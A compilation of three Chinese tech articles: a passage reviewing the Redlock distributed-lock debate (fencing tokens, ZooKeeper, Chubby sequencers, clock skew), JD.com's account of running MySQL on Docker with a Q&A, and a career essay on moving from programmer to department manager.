Set”操作不会保证这个顺序,那些延迟时间太长的操作如果后到达了,它仍然有可能操作共享资源(当然是以互斥的方式)。 对于前一点不同,我们在后面的分析中会看到,如果资源服务器也是分布式的,那么使用递增的fencing token也要变成两步。 而对于后一点操作顺序上的不同,Antirez认为这个顺序没有意义,关键是能互斥访问就行了。他写下了下面的话: So the goal is, when race conditions happen, to avoid them in some way.......Note also that when it happens that, because of delays, the clients are accessing concurrently, the lock ID has little to do with the order in which the operations were indented to happen. (译文: 我们的目标是,当竞争条件出现的时候,能够以某种方式避免。......还需要注意的是,当那种竞争条件出现的时候,比如由于延迟,客户端是同时来访问的,锁的ID的大小顺序跟那些操作真正想执行的顺序,是没有什么关系的。) 这里的lock ID,跟Martin说的递增的token是一回事。随后,Antirez举了一个“将名字加入列表”的操作的例子: T0: Client A receives new name to add from web. T0: Client B is idle T1: Client A is experiencing pauses. T1: Client B receives new name to add from web. T2: Client A is experiencing pauses. T2: Client B receives a lock with ID 1 T3: Client A receives a lock with ID 2 你看,两个客户端(其实是Web服务器)执行“添加名字”的操作,A本来是排在B前面的,但获得锁的顺序却是B排在A前面。因此,antirez说,锁的ID的大小顺序跟那些操作真正想执行的顺序,是没有什么关系的。关键是能排出一个顺序来,能互斥访问就行了。那么,至于锁的ID是递增的,还是一个random token,自然就不那么重要了。 Martin提出的fencing token机制,给人留下了无尽的疑惑。这主要是因为他对于这一机制的描述缺少太多的技术细节。从上面的讨论可以看出,antirez对于这一机制的看法是,它跟一个random token没有什么区别,而且,它需要资源服务器本身提供某种互斥机制,这几乎让分布式锁本身的存在失去了意义。 围绕fencing token的问题,还有两点是比较引人注目的,Hacker News上也有人提出了相关的疑问: 关于资源服务器本身的架构细节。 资源服务器对于fencing token进行检查的实现细节,比如是否需要提供一种原子操作。 关于上述问题1,Hacker News上有一位叫dwenzek的用户发表了下面的评论: ...... the issue around the usage of fencing tokens to reject any late usage of a lock is unclear just because the protected resource and its access are themselves unspecified. Is the resource distributed or not? If distributed, does the resource has a mean to ensure that tokens are increasing over all the nodes? Does the resource have a mean to rollback any effects done by a client which session is interrupted by a timeout? (译文:...... 关于使用fencing token拒绝掉延迟请求的相关议题,是不够清晰的,因为受保护的资源以及对它的访问方式本身是没有被明确定义过的。资源服务是不是分布式的呢?如果是,资源服务有没有一种方式能确保token在所有节点上递增呢?对于客户端的Session由于过期而被中断的情况,资源服务有办法将它的影响回滚吗?) 这些疑问在Hacker News上并没有人给出解答。而关于分布式的资源服务器架构如何处理fencing token,另外一名分布式系统的专家Flavio Junqueira在他的一篇blog中有所提及(我们后面会再提到)。 关于上述问题2,Hacker News上有一位叫reza_n的用户发表了下面的疑问: I understand how a fencing token can prevent out of order writes when 2 clients get the same lock. But what happens when those writes happen to arrive in order and you are doing a value modification? Don't you still need to rely on some kind of value versioning or optimistic locking? Wouldn't this make the use of a distributed lock unnecessary? (译文: 我理解当两个客户端同时获得锁的时候fencing token是如何防止乱序的。但是如果两个写操作恰好按序到达了,而且它们在对同一个值进行修改,那会发生什么呢?难道不会仍然是依赖某种数据版本号或者乐观锁的机制?这不会让分布式锁变得没有必要了吗?) 一位叫Terr_的Hacker News用户答: I believe the "first" write fails, because the token being passed in is no longer "the lastest", which indicates their lock was already released or expired. (译文: 我认为“第一个”写请求会失败,因为它传入的token不再是“最新的”了,这意味着锁已经释放或者过期了。) Terr_的回答到底对不对呢?这不好说,这取决于资源服务器对于fencing token进行检查的实现细节。让我们来简单分析一下。 为了简单起见,我们假设有一台(先不考虑分布式的情况)通过RPC进行远程访问文件的服务器,它无法提供对于文件的互斥访问(否则我们就不需要分布式锁了)。现在我们按照Martin给出的说法,加入fencing token的检查逻辑。由于Martin没有描述具体细节,我们猜测至少有两种可能。 第一种可能,我们修改了文件服务器的代码,让它能多接受一个fencing token的参数,并在进行所有处理之前加入了一个简单的判断逻辑,保证只有当前接收到的fencing token大于之前的值才允许进行后边的访问。而一旦通过了这个判断,后面的处理不变。 现在想象reza_n描述的场景,客户端1和客户端2都发生了GC pause,两个fencing token都延迟了,它们几乎同时到达了文件服务器,而且保持了顺序。那么,我们新加入的判断逻辑,应该对两个请求都会放过,而放过之后它们几乎同时在操作文件,还是冲突了。既然Martin宣称fencing token能保证分布式锁的正确性,那么上面这种可能的猜测也许是我们理解错了。 当然,还有第二种可能,就是我们对文件服务器确实做了比较大的改动,让这里判断token的逻辑和随后对文件的处理放在一个原子操作里了。这可能更接近Antirez的理解。这样的话,前面reza_n描述的场景中,两个写操作都应该成功。 基于ZooKeeper的分布式锁更安全吗? 很多人(也包括Martin在内)都认为,如果你想构建一个更安全的分布式锁,那么应该使用ZooKeeper,而不是Redis。那么,为了对比的目的,让我们先暂时脱离开本文的题目,讨论一下基于ZooKeeper的分布式锁能提供绝对的安全吗?它需要fencing token机制的保护吗? 我们不得不提一下分布式专家Flavio Junqueira所写的一篇blog,题目叫“Note on fencing and distributed locks”,地址如下: https://fpj.me/2016/02/10/note-on-fencing-and-distributed-locks/ Flavio Junqueira是ZooKeeper的作者之一,他的这篇blog就写在Martin和Antirez发生争论的那几天。他在文中给出了一个基于ZooKeeper构建分布式锁的描述(当然这不是唯一的方式): 客户端尝试创建一个znode节点,比如/lock。那么第一个客户端就创建成功了,相当于拿到了锁;而其它的客户端会创建失败(znode已存在),获取锁失败。 持有锁的客户端访问共享资源完成后,将znode删掉,这样其它客户端接下来就能来获取锁了。 znode应该被创建成ephemeral的。这是znode的一个特性,它保证如果创建znode的那个客户端崩溃了,那么相应的znode会被自动删除。这保证了锁一定会被释放。 看起来这个锁相当完美,没有Redlock过期时间的问题,而且能在需要的时候让锁自动释放。但仔细考察的话,并不尽然。 ZooKeeper是怎么检测出某个客户端已经崩溃了呢?实际上,每个客户端都与ZooKeeper的某台服务器维护着一个Session,这个Session依赖定期的心跳(heartbeat)来维持。 如果ZooKeeper长时间收不到客户端的心跳(这个时间称为Sesion的过期时间),那么它就认为Session过期了,通过这个Session所创建的所有的ephemeral类型的znode节点都会被自动删除。 设想如下的执行序列: 客户端1创建了znode节点/lock,获得了锁。 客户端1进入了长时间的GC pause。 客户端1连接到ZooKeeper的Session过期了。znode节点/lock被自动删除。 客户端2创建了znode节点/lock,从而获得了锁。 客户端1从GC pause中恢复过来,它仍然认为自己持有锁。 最后,客户端1和客户端2都认为自己持有了锁,冲突了。这与之前Martin在文章中描述的由于GC pause导致的分布式锁失效的情况类似。 看起来,用ZooKeeper实现的分布式锁也不一定就是安全的。该有的问题它还是有。但是,ZooKeeper作为一个专门为分布式应用提供方案的框架,它提供了一些非常好的特性,是Redis之类的方案所没有的。像前面提到的ephemeral类型的znode自动删除的功能就是一个例子。 还有一个很有用的特性是ZooKeeper的watch机制。这个机制可以这样来使用,比如当客户端试图创建/lock的时候,发现它已经存在了,这时候创建失败,但客户端不一定就此对外宣告获取锁失败。客户端可以进入一种等待状态,等待当/lock节点被删除的时候,ZooKeeper通过watch机制通知它,这样它就可以继续完成创建操作(获取锁)。 这可以让分布式锁在客户端用起来就像一个本地的锁一样:加锁失败就阻塞住,直到获取到锁为止。这样的特性Redlock就无法实现。 小结一下,基于ZooKeeper的锁和基于Redis的锁相比在实现特性上有两个不同: 在正常情况下,客户端可以持有锁任意长的时间,这可以确保它做完所有需要的资源访问操作之后再释放锁。这避免了基于Redis的锁对于有效时间(lock validity time)到底设置多长的两难问题。实际上,基于ZooKeeper的锁是依靠Session(心跳)来维持锁的持有状态的,而Redis不支持Sesion。 基于ZooKeeper的锁支持在获取锁失败之后等待锁重新释放的事件。这让客户端对锁的使用更加灵活。 顺便提一下,如上所述的基于ZooKeeper的分布式锁的实现,并不是最优的。它会引发“herd effect”(羊群效应),降低获取锁的性能。一个更好的实现参见下面链接: http://zookeeper.apache.org/doc/r3.4.9/recipes.html#sc_recipes_Locks 我们重新回到Flavio Junqueira对于fencing token的分析。Flavio Junqueira指出,fencing token机制本质上是要求客户端在每次访问一个共享资源的时候,在执行任何操作之前,先对资源进行某种形式的“标记”(mark)操作,这个“标记”能保证持有旧的锁的客户端请求(如果延迟到达了)无法操作资源。这种标记操作可以是很多形式,fencing token是其中比较典型的一个。 随后Flavio Junqueira提到用递增的epoch number(相当于Martin的fencing token)来保护共享资源。而对于分布式的资源,为了方便讨论,假设分布式资源是一个小型的多备份的数据存储(a small replicated data store),执行写操作的时候需要向所有节点上写数据。最简单的做标记的方式,就是在对资源进行任何操作之前,先把epoch number标记到各个资源节点上去。这样,各个节点就保证了旧的(也就是小的)epoch number无法操作数据。 当然,这里再展开讨论下去可能就涉及到了这个数据存储服务的实现细节了。比如在实际系统中,可能为了容错,只要上面讲的标记和写入操作在多数节点上完成就算成功完成了(Flavio Junqueira并没有展开去讲)。 在这里我们能看到的,最重要的,是这种标记操作如何起作用的方式。这有点类似于Paxos协议(Paxos协议要求每个proposal对应一个递增的数字,执行accept请求之前先执行prepare请求)。antirez提出的random token的方式显然不符合Flavio Junqueira对于“标记”操作的定义,因为它无法区分新的token和旧的token。只有递增的数字才能确保最终收敛到最新的操作结果上。 在这个分布式数据存储服务(共享资源)的例子中,客户端在标记完成之后执行写入操作的时候,存储服务的节点需要判断epoch number是不是最新,然后确定能不能执行写入操作。如果按照上一节我们的分析思路,这里的epoch判断和接下来的写入操作,是不是在一个原子操作里呢? 根据Flavio Junqueira的相关描述,我们相信,应该是原子的。那么既然资源本身可以提供原子互斥操作了,那么分布式锁还有存在的意义吗?应该说有。客户端可以利用分布式锁有效地避免冲突,等待写入机会,这对于包含多个节点的分布式资源尤其有用(当然,是出于效率的原因)。 Chubby的分布式锁怎样做fencing的? 提到分布式锁,就不能不提Google的Chubby。Chubby是Google内部使用的分布式锁服务,有点类似于ZooKeeper,但也存在很多差异。 Chubby对外公开的资料,主要是一篇论文,叫做“The Chubby lock service for loosely-coupled distributed systems”,下载地址如下: https://research.google.com/archive/chubby.html 另外,YouTube上有一个的讲Chubby的talk,也很不错,播放地址: https://www.youtube.com/watch?v=PqItueBaiRg&feature=youtu.be&t=487 Chubby自然也考虑到了延迟造成的锁失效的问题。论文里有一段描述如下: a process holding a lock L may issue a request R, but then fail. Another process may ac- quire L and perform some action before R arrives at its destination. If R later arrives, it may be acted on without the protection of L, and potentially on inconsistent data. (译文: 一个进程持有锁L,发起了请求R,但是请求失败了。另一个进程获得了锁L并在请求R到达目的方之前执行了一些动作。如果后来请求R到达了,它就有可能在没有锁L保护的情况下进行操作,带来数据不一致的潜在风险。) 这跟Martin的分析大同小异。Chubby给出的用于解决(缓解)这一问题的机制称为sequencer,类似于fencing token机制。锁的持有者可以随时请求一个sequencer,这是一个字节串,它由三部分组成: 锁的名字。 锁的获取模式(排他锁还是共享锁)。 lock generation number(一个64bit的单调递增数字)。作用相当于fencing token或epoch number。 客户端拿到sequencer之后,在操作资源的时候把它传给资源服务器。然后,资源服务器负责对sequencer的有效性进行检查。检查可以有两种方式: 调用Chubby提供的API,CheckSequencer(),将整个sequencer传进去进行检查。这个检查是为了保证客户端持有的锁在进行资源访问的时候仍然有效。 将客户端传来的sequencer与资源服务器当前观察到的最新的sequencer进行对比检查。可以理解为与Martin描述的对于fencing token的检查类似。 当然,如果由于兼容的原因,资源服务本身不容易修改,那么Chubby还提供了一种机制: lock-delay。Chubby允许客户端为持有的锁指定一个lock-delay的时间值(默认是1分钟)。当Chubby发现客户端被动失去联系的时候,并不会立即释放锁,而是会在lock-delay指定的时间内阻止其它客户端获得这个锁。这是为了在把锁分配给新的客户端之前,让之前持有锁的客户端有充分的时间把请求队列排空(draining the queue),尽量防止出现延迟到达的未处理请求。 可见,为了应对锁失效问题,Chubby提供的三种处理方式:CheckSequencer()检查、与上次最新的sequencer对比、lock-delay,它们对于安全性的保证是从强到弱的。而且,这些处理方式本身都没有保证提供绝对的正确性(correctness)。但是,Chubby确实提供了单调递增的lock generation number,这就允许资源服务器在需要的时候,利用它提供更强的安全性保障。 关于时钟 在Martin与Antirez的这场争论中,冲突最为严重的就是对于系统时钟的假设是不是合理的问题。Martin认为系统时钟难免会发生跳跃(这与分布式算法的异步模型相符),而antirez认为在实际中系统时钟可以保证不发生大的跳跃。 Martin对于这一分歧发表了如下看法(原话): So, fundamentally, this discussion boils down to whether it is reasonable to make timing assumptions for ensuring safety properties. I say no, Salvatore says yes — but that's ok. Engineering discussions rarely have one right answer. (译文:从根本上来说,这场讨论最后归结到了一个问题上:为了确保安全性而做出的记时假设到底是否合理。我认为不合理,而antirez认为合理 —— 但是这也没关系。工程问题的讨论很少只有一个正确答案。) 那么,在实际系统中,时钟到底是否可信呢?对此,Julia Evans专门写了一篇文章,“TIL: clock skew exists”,总结了很多跟时钟偏移有关的实际资料,并进行了分析。这篇文章地址: http://jvns.ca/blog/2016/02/09/til-clock-skew-exists/ Julia Evans在文章最后得出的结论是: clock skew is real (译文:时钟偏移在现实中是存在的) Martin的事后总结 我们前面提到过,当各方的争论在激烈进行的时候,Martin几乎始终置身事外。但是Martin在这件事过去之后,把这个事件的前后经过总结成了一个很长的故事线。如果你想最全面地了解这个事件发生的前后经过,那么建议去读读Martin的这个总结: https://storify.com/martinkl/redlock-discussion 在这个故事总结的最后,Martin写下了很多感性的评论: For me, this is the most important point: I don't care who is right or wrong in this debate — I care about learning from others' work, so that we can avoid repeating old mistakes, and make things better in future. So much great work has already been done for us: by standing on the shoulders of giants, we can build better software.......By all means, test ideas by arguing them and checking whether they stand up to scrutiny by others. That's part of the learning process. But the goal should be to learn, not to convince others that you are right. Sometimes that just means to stop and think for a while. (译文:对我来说最重要的一点在于:我并不在乎在这场辩论中谁对谁错 —— 我只关心从其他人的工作中学到的东西,以便我们能够避免重蹈覆辙,并让未来更加美好。前人已经为我们创造出了许多伟大的成果:站在巨人的肩膀上,我们得以构建更棒的软件。......对于任何想法,务必要详加检验,通过论证以及检查它们是否经得住别人的详细审查。那是学习过程的一部分。但目标应该是为了获得知识,而不应该是为了说服别人相信你自己是对的。有时候,那只不过意味着停下来,好好地想一想。) 关于分布式锁的这场争论,我们已经完整地做了回顾和分析。 按照锁的两种用途,如果仅是为了效率(efficiency),那么你可以自己选择你喜欢的一种分布式锁的实现。当然,你需要清楚地知道它在安全性上有哪些不足,以及它会带来什么后果。而如果你是为了正确性(correctness),那么请慎之又慎。在本文的讨论中,我们在分布式锁的正确性上走得最远的地方,要数对于ZooKeeper分布式锁、单调递增的epoch number以及对分布式资源进行标记的分析了。请仔细审查相关的论证。 Martin为我们留下了不少疑问,尤其是他提出的fencing token机制。他在blog中提到,会在他的新书《Designing Data-Intensive Applications》的第8章和第9章再详加论述。目前,这本书尚在预售当中。我感觉,这会是一本值得一读的书,它不同于为了出名或赚钱而出版的那种短平快的书籍。可以看出作者在这本书上投入了巨大的精力。 最后,我相信,这个讨论还远没有结束。分布式锁(Distributed Locks)和相应的fencing方案,可以作为一个长期的课题,随着我们对分布式系统的认识逐渐增加,可以再来慢慢地思考它。思考它更深层的本质,以及它在理论上的证明。 原文发布时间为:2017-03-17 本文来自云栖社区合作伙伴DBAplus
讲师介绍 刘风才 京东资深数据库专家 2012年加入京东,担任MySQL DBA一职,负责数据库架构设计、数据库性能优化等日常运维工作,参与过分布式数据库项目、多中心交易项目等。 2013~2016连续4年作为MySQL数据库618、11.11项目DBA负责人,负责相应备战工作,为大促平稳护航。 演讲大纲: 京东Docker技术发展历程 MySQL数据库为何要Docker化 MySQL数据库Docker化前准备工作 遇到的问题与解决方案 总结与展望 京东MySQL数据库Docker化的推进之路,从开始如履薄冰的使用,到目前占比超过70%以上的大规模部署,下面给大家一一讲解这期间的发展历程。 一、京东Docker技术发展历程 Docker技术的发展为MySQL数据库部署环境能够容器化奠定了基础。京东Docker技术的发展可以归纳为3个阶段: 1、初出茅庐 京东从2013年开始规划虚拟化平台项目。可以说,一切从零开始,组建团队,架构采用当时主流的OpenStack+KVM架构,在发展初期,只有一些非核心的应用服务开始跑在kvm上。虚拟化研发团队在技术上很快掌握了OpenStack核心代码,当时来说,OpenStack对VM支持可以说是天生的好,在各方面认为成熟的时期,虚拟化团队满怀信心地接入了一个核心业务,不幸的是,正是这个核心业务给虚拟化团队带来了不小的打击,在性能上tp99无法缩短到40ms以内,无法满足应用服务的性能要求,在2013年夏天-2014年夏天研发尝试了各种方法,进行改造优化,最终仍无法达到物理机的性能水平。这一年对于虚拟研发团队来说是压抑、苦闷,也是积攒经验的一年。 2、小试牛刀 2014年9月,公司安排首席架构师刘海峰带领虚拟化团队。他提出一套新的方案、新的思路,Docker由此进入京东。2014年6月 Docker1.0发布,当时Docker还非常单薄,只有镜像和对cgroup简单的操作功能是可用之处,由于虚拟化研发团队在过去一年的压抑,这一新的思路对于团队来说无疑是希望,经过简单的二次开发后,进行了基本性能测试,惊喜地发现TP99可以部分降低到40ms以内,虽不完美,但对于团队来说,这已经看到了曙光。 经过研发团队的不谢努力,性能问题终于完全解决了。但另一个问题接踵而来,如何管理众多的Docker容器?自己开发时间成本太大,基于团队过去一年里在Openstack方面经验的积累,团队最终选择OpenStack + Docker的架构,并命名为京东第一代容器引擎平台JDOS1.0(JD DataCenter OS)。 3、驾轻就熟 解决了性能问题、批量管理的问题后,京东第一代容器引擎平台推广速度极快,从15年起步到 16年618已完成100%应用业务环境容器化,并经受住了618大促的考验。到目前为止,京东Docker部署已近15万个左右,可以说是规模最大的Docker集群。 二、MySQL数据库为何要Docker化 先谈一下京东MySQL数据库发展的历程。京东从2011年开始使用 MySQL数据库,在此之前以SQL Server为主。2012年以后,MySQL数据库迅速在京东崛起,爆炸式增长,到2013年 MySQL数据库就占了京东交易系统的一半,发展到2014年、2015年,MySQL已经成为京东主流的数据库。并且数据库服务器规模不断增大。下面看看选择Docker化会带来哪些收益呢? 1、快速部署 数据库服务器实例创建只需要1分钟,和物理机os安装相比,速度提升了几十倍。 2、动态扩容 空间问题对于DBA来说,可以说是比较常见的问题。随着业务的发展,磁盘使用超出了预先的评估,使用Docker在一定条件下可以在线扩容,方便快捷。但这并不是解决空间问题的最佳方案,数据可能不断增长,但磁盘空间不可能无限扩容;基于性能、长远考虑,建议进行数据结转、数据清理或者库表拆分等操作。 3、提升资源利用率 随着SSD硬盘成本的降低,SSD服务器使用越来越普遍,IO性能也有了很大提高,对于数据量小的数据库系统单独部署在物理机,在成本上考虑存在着浪费,但如果采用多库合用或多实例部署,这虽然可以提升了资源利用率,但无法避免物理资源竞争、相互影响问题,而Docker在物理资源上良好的隔离性,恰恰可以解决这一难点。 也许有人会问Docker和虚拟机的区别?其实这两者是有本质区别的。虚拟机的本质上是模拟。通过模拟物理机上的硬件,向用户提供资源。容器的基石是经过隔离与限制的linux进程。容器提供的是性能损失更小的原生物理机的计算能力,容器之间唯一共享的是linux内核。 4、降低成本 资源利用率提高了,节约了服务器资源、机架位资源,提升经济效益,降低了成本。 5、成熟的Docker技术 最重要的一点,京东在Docker技术上的逐步成熟,应用部署环境100%容器化,有了丰富的经验,有专业的团队的技术支持,并经历618、双11大促的考验。 三、MySQL数据库Docker化前准备工作 1、Docker管理页面的开发 实现Docker申请创建、暂停、开启、在线扩容等功能,方便DBA日常操作。 2、制定Docker容器分配算法 数据库高可用是不容忽视的。在Docker容器分配时如何保障主从不在同一宿主机上呢? 下面介绍一下分配算法原理:如果一个集群申请的数据库服务器大于1,调度时会为每一个容器选择合适的宿主机,主要是根据宿主机的状态(是否正常可用)、宿主机上的可用资源(cpu、内存、磁盘容量)是否满足申请的容器规格,将集群中所有的服务器都筛选完后,会计算服务器的权值,从中选择最适合的服务器作为宿主机,然后在内存中记录下这个宿主机,下一个容器选择宿主机时,会在筛选服务器的过程中加上一个判断,如果这个服务器已经被选中过作为宿主机,则过滤掉这个服务器。 3、Docker模板的制定、调度算法优化 提升磁盘IO性能。灵活的调度算法,如某系统对IO性能要求高,在Docker容器创建时,根据传入的参数,调度算法会在筛选合适的宿主机时,根据宿主机负载情况,选择压力最小的作为宿主机。 4、Docker 管理平台与数据库管理平台结合 实现Docker容器批量申请、下线等一键化操作。实现Docker日常运维查询工作,例如:根据宿主机IP查询该宿主机下所有Docker信息,根据Docker IP查询该宿主机及其下所有Docker信息等功能。 5、监控项调整 监控对运维来说是重中之重,京东MySQL 数据库监控采用的是Zabbix监控。在监控负载值获取上Docker与物理机是有区别的。在Docker上我们无法通过os系统命令抓取系统负载情况,目前京东的实现方式:在宿主机上通过专门开发监控程序,把计算结果实时存储到Redis中,Zabbix从Redis中读取对应监控值。 四、遇到的问题与解决方案 随着Docker集群规模越来越大,在推广中也经历了些痛点,下面我们来扒一扒踩过的坑,以及是如何解决的: 1、OpenStack集群规模受限。OpenStack遇到集群规模的问题,发生严重的信息不可靠问题;如:创建容器消息在MQ传输过程丢失,容器状态挂起,DB连接数过大,计算节点各种agent定时任务hang住,部署升级无法核对升级结果。 解决方案:由于社区暂时没有遇到这么大规模,没有任何现成的解决方案,研发团队只能自己动手创造。设计目标为单个集群1万台物理节点,开发了一个python版本的RPC(brood)框架,解除对MQ依赖。特别是依赖MQ操作DB的部分,全部改为使用京东自研的Python版本RPC框架,对数据库的全部操作均使用RPC自带支持的京东JIMDB(内存缓存集群)进行处理。成功解决了集群规模受限的问题。 2、性能、稳定性问题。规模壮大之后,遇到很多低概率但是实实在在发生了性能和稳定性问题,mac表满导致无法网络通信,UDP大报文硬塞,丢包,中断异常,系统slab集中回收性内存申请锁住时间过长。 解决方案:发现问题的根源在于Linux kernel,意识到做容器就是做Linux kernel,即刻组建了Linux Kernel 团队,修改内核代码,最终解决并维护了京东自己的Linux Kernel分支。 3、Zabbix监控agent不自动重启,加到rc.local里的任务不生效,虽不是难点,但往往容易忽视。 4、磁盘IO隔离性不太好,一台Docker磁盘繁忙程度比较高,会影响该宿主机上其他Docker 性能。避免性能要求敏感的系统与磁盘IO使用较高的在同一宿主机上。 5、Zabbix监控负载取值问题,Docker与物理机有区别,上面提及过,避免取值错误。 五、总结与展望 目前生产环境中70%的MySQL数据库都运行在Docker容器上。已顺利支撑了两个618、一个双11大促,经住了大流量的考验。京东Docker部署已近15万个,成为全世界规模最大的Docker集群。 Q&A Q1:MySQL Docker使用的标准? A1:将MySQL数据库部署环境Docker化,首先是技术成熟,并且有了一定经验。我们是从非核心重要程度低的开始,逐步接入。目前已经有超过70%的系统都部署到Docker上了。 但是对于一些空间上要求比较大的系统,由于业务发展的需求,数据库不可能拆得特别大,数据文件多于1T多的情况下是不太合适部署在Docker上的;再有就是在性能上要求特别高的,特别重要的核心系统目前仍跑在物理机上,后面随着Docker技术不断的改进,会陆续地迁到Docker上。 Q2:我是一个独立核算的部门,公司有其他产品要到Docker上跑,怎么衡量它应用的成本,按部门进行核算,需要考虑哪些因素? A2:对于数据库来说,主要是CPU核数、内存、硬盘这三项。因为每个Docker配置不一样,数据库这边有8C、12G、500G,12C、24G、500G,12C、48G,1000G和16C、48G、1000G等类似模板,分别对应CPU核数、内存、硬盘。 Q3:刚才您遇到了两个问题里面,一个是IO在用的问题,我想部署Docker时,能不能指定Docker只能占用多少IO这种呢? A3:内存CPU这个是Docker上通过宿主机可以严格进行控制隔离,IO其实是底层共用一块资源,在隔离性上不好,其实在Docker创建时,是指定了IO的使用情况,但还会存在互相影响和干扰的情况。 Q4:有可能其中一台会引起整个宿主机使用的情况,可能会产生这种干扰。您之前说那个模板,如果定好了500G,如果发现之前的不够用,这个时候可以对之前的模板进行更改吗?如果可以,是批量还是? A4:这个是完全可以的,并且不影响应用的正常运行,但是有一定的条件,就是当前宿主机上有足够的剩余资源。比如当前是16C、32G、500G配置的Docker,打算升级成16核、32G、1T配置的的docker,需要保证当前宿主机上需要有大于500G的空闲硬盘。 对于扩容来说,目前是通过web触发来进行扩容操作的,完全满足当前的工作场景;对于批量来说,目前没有实现。主要是由于前期已经进行了容量划不会产生大批量的扩容情况。 Q5:数据量比较大,表增长肯定也会增大的,后期数据的归档问题怎么做? A5:这个问题,普通物理机也有遇到。一般分两种情况:一个是业务上需要继续访问的,一般是通过程序,将历史数据归档道一个历史集群中,这样保证业务上也可以继续访问;另外一种是业务上历史过期数据,业务上不需要访问的,可以放到HBase或者Hadoop里,根据具体业务而定。 Q6:我想了解一下Docker在MySQL备份怎么管理的? A6:在Docker和物理机使用上没有太多区别。主要是通过dump或者xtrabback备份到本地,同时上传到存储中,并且定期的刻盘保存。 Q7:我想问一下你们做OLAP这一块,因为MySQL是不适合数据分析大查询这种东西的。我们公司也考虑把数据转到MySQL上,这还需要在线分析吗?我想问一下你们怎么做的? A7:如果数据量比较小,也是可以考虑MySQL的,单独的从库做统计的查询,也可以考虑MySQL;另外,在选型的时候一定要根据实际考虑最适合的方案,不一定非要使用MySQL。 如果数据量达到一定规模的话,就需要单独的大数据团队来搞了。现在我们那边除DBA团队外之外,还有一个大数据部门,他们会定期地从MySQL抽取数据,两种模式,一种是实时,一种是离线,每天会把数据拉到大数据那边进行处理。 Q8:你们前面做一个中间件吗? A8:有些系统采用了中间件,但有些系统分库分表是在应用端实现的,主要是这两种情况。 Q9:刚才你说Docker模板后续会不会考虑自动扩容? A9:由于我们采用的是非共享存储模式,因此我们的自动扩容是有一定限度的,主要是受限于宿主机剩余的资源。在线扩容这块,目前我们已经做到了,但是是需要人工介入的触发,完全自动的扩容,暂时还没有考虑。 Q10:有一种方式就是数据卷容器的挂载。 A10:这个是有一定的适用场景,但对于数据库来说,并不适用,一般统一宿主机上的Docker不需要共享数据。 原文发布时间为:2017-03-16 本文来自云栖社区合作伙伴DBAplus
作者介绍 刘朝辉,从软件设计师、项目经理、产品经理、部门经理步步进阶的CEO,技术涉猎广泛,包括:.NET、Java、架构设计、数据库、C++、JavaScript、Web标准、Delphi等。 十二年前,笔者还是一个刚毕业的大学生,对IT行业只是停留在学校的编程知识领域。刚出社会,有很多需要学习的地方。在这十二年间,笔者经历了程序员、技术经理、项目经理、部门经理等职位。本文主要说说如何从程序员到部门经理的经验。 1程序员 对于程序员,按笔者在《软件项目角色指南》一文中的称呼,应该称为软件工程师。软件工程师要做的事情还是比较多的,因为在项目中可能要涉及到很多方面的内容,所以,软件工程师往往身兼多职。软件工程师在项目中的作用也是很大的,因为项目最基本的编码工作就是由他进行处理,所以项目的基础就是要靠软件工程师的工作来进行。 软件工程师要做很多事情,一方面是编码,另一方面也要积极的学习该领域的其它知识,以补充自身的相关的知识内容。那么,对于工作,软件工程师要兢兢业业,努力把该做的事情做好。对于知识,软件工程师应该积极地进行学习。笔者就是在工作之余,努力去看一些相关的知识,比如.NET Framework相关的类库内容,以及一些关于C#的知识内容等等。 对于业务,软件工程师也要从需求中去学习该领域的内容,争取对该领域做到至少是理解的程度。总之,软件工程师就是要努力提升自己,争取做领域方面的专家,争取晋升做软件设计师、架构师等职位。 2技术经理 对于技术经理,在这里做一些总结。技术经理要积极地对领域内的技术有一定的理解,因为技术经理在项目组中的作用还是比较明显的。有时候技术经理也要对系统的架构进行处理,也就是身兼架构师的职位。技术经理要对软件的编码规范提出方案,对整个系统的编码工作进行约束,从而提高系统代码的可读性、运行的稳定性和兼容性等问题。 技术经理还要对技术文档提出方案,更好地对项目的文档可读性、规范性进行定义。除此之外,技术经理还要对各种主流工具和技术文档有一定程度的理解,这样才能适应整个领域的发展。在工作上,技术经理要做的事情不是很多,但是都是非常重要的内容。 在业务上,技术经理也要对整个业务领域的知识内容有一定的理解,这样才能达到该领域的专家程度,从而对整个项目的技术和业务发展起到更好的作用。 在管理方面,技术经理基本上就是对下面的软件工程师负责,对他们进行培训等方面的工作,起到团队中技术负责人的作用。 在技术上,笔者就是对团队的相关组员进行相应的培训,以及提供相关的书籍给团队成员进行阅读,从而提高整个团队的技术水平。同时也对项目经理负责,把项目的进度和编码能力向项目经理进行汇报,使项目经理能更好地把控整个项目。 3项目经理 对于项目经理,我的看法是:项目经理是整个团队的负责人和带头人。他要处理的事情还是比较多的。按照PMP中的说法,项目经理要处理10大领域中的相关内容。他要对整个项目组负责,还要对甲方负责人负责。在项目管理过程中,对整体的把控最能体现出项目经理的能力。而且他对项目计划的规划和处理方面的内容也同样很重要。 在工作上,项目经理同样要针对10大领域的内容开展工作,对整个项目组的工作进行管理。在业务上,项目经理要积极主动的去理解和获取该领域的业务内容,因为最了解业务的就是项目经理。可以说,项目经理是该领域的专家。 在管理上,项目经理要对整个团队成员负责。要对整个团队建设起到积极主动的作用。这方面要配合技术经理进行,通过培训等方式对整个项目组成员的各方面的能力进行提高,起到技术牵头人的作用,这样才能提高整个团队的水平,提高整个团队的竞争力。笔者在做项目经理的时候,除了涉及项目管理方面的内容,其实也涉及到实施方面的工作。同时也涉及到团队人员招聘的事情。 4部门经理 对于部门经理,目前笔者的经验还比较有限。在我看来,部门经理是整个部门的负责人,对于整个部门的人员进行管理,同时也要对整个部门人员的能力提高起到积极主动的作用。 在工作上,部门经理要积极地与公司领导进行沟通,以对公司的发展方向进行了解,这样才能对整个部门的发展方向做到心中有数,才能更好地服务于整个部门。 在技术上,部门经理其实也起到技术带头人的作用。部门经理要对部门的项目组的相关技术方向起到一个带头作用,对技术方向进行把控。 在业务上,部门经理要积极地与甲方负责人和项目经理进行沟通,培养该领域的项目经理,提高各项目组项目经理的业务水平。这样也是提高项目经理能力的一种表现。 在管理上,部门经理对人员管理起到重要的作用。部门经理既要对团队的人员水平进行管理,也要对团队的士气进行管理。这样才能提高整个部门的士气和水平。笔者在做部门经理的时候,涉及到的方面是人员招聘,部门管理,项目管理,团队人员管理,还有项目的相关测试等内容。 